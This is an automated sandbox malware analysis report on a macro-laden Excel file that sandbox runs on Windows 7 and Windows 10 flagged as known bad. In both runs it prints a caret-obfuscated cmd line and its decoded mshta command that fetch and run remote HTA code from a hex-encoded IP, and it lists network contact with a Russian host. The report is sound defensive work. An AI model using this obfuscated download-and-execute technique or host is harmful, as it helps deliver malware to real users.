Malware Analysis Report

2025-01-22 16:11

Sample ID 241111-wbv42a1rdz
Target d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8
SHA256 d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8

Threat Level: Known bad

The file d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:45

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:45

Reported

2024-11-11 17:47

Platform

win7-20240903-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe4.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1520-1-0x000000007268D000-0x0000000072698000-memory.dmp

memory/1520-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1520-2-0x000000007268D000-0x0000000072698000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:45

Reported

2024-11-11 17:47

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2788 wrote to memory of 432 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 2788 wrote to memory of 432 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 432 wrote to memory of 2652 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 432 wrote to memory of 2652 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe4.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 54.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 91.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 66.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/2788-0-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

memory/2788-1-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

memory/2788-3-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

memory/2788-2-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

memory/2788-5-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-4-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

memory/2788-6-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-7-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

memory/2788-11-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-10-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-12-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

memory/2788-9-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-13-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-14-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-16-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-20-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-19-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-18-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-17-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-15-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

memory/2788-8-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-31-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

memory/2788-32-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

memory/2788-33-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 c30ae095a84593faf95575e48b5ac2f0
SHA1 ef587d36484373a88823c1841920d7a947838d83
SHA256 2ce40aae5d2064dfeefaf9faa41604ed9f6fe64474c5f3498f1b71498874174c
SHA512 31b41dbb337f947c85fbcb88a00bd8452a63351041ba0db1f939e9feb4c9de97b5d39c8c75bf884b088c24b67e69efd95ee876f54a7b1ee5d84a5d556aa7080b